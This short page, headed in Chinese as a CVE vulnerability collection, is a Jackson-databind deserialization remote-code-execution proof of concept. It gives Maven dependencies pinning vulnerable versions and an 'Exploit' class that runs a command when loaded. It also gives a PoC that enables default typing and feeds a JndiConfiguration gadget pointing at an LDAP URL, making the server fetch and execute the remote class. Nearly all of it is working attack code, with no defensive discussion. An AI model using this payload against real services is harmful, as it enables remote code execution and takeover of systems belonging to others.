cve漏洞库（rce漏洞）

<dependencies>    <dependency>      <groupId>com.fasterxml.jackson.core</groupId>      <artifactId>jackson-databind</artifactId>      <version>2.9.10.4</version>    </dependency>
    <!-- https://mvnrepository.com/artifact/com.pastdev.httpcomponents/configuration -->    <dependency>      <groupId>com.pastdev.httpcomponents</groupId>      <artifactId>configuration</artifactId>      <version>0.1.3</version>    </dependency>
      <dependency>      <groupId>org.slf4j</groupId>      <artifactId>slf4j-nop</artifactId>      <version>1.7.2</version>    </dependency>    <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->      <dependency>          <groupId>javax.transaction</groupId>          <artifactId>jta</artifactId>          <version>1.1</version>      </dependency>  </dependencies>

import java.lang.Runtime;
public class Exploit {    static {        try {            Runtime.getRuntime().exec(\\\"calc\\\");        } catch (Exception e) {            e.printStackTrace();        }    }}

package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {    public static void main(String[] args) throws Exception {        ObjectMapper mapper = new ObjectMapper();        mapper.enableDefaultTyping();        String payload = \\\"[\\\\\\\"com.pastdev.httpcomponents.configuration.JndiConfiguration\\\\\\\",\\\\\\\"ldap://127.0.0.1:1099/Exploit\\\\\\\"]\\\";        try {            mapper.readValue(payload, Object.class);        } catch (IOException e) {            e.printStackTrace();        }    }}

mapper.readValue    ->JndiConfiguration        ->lookup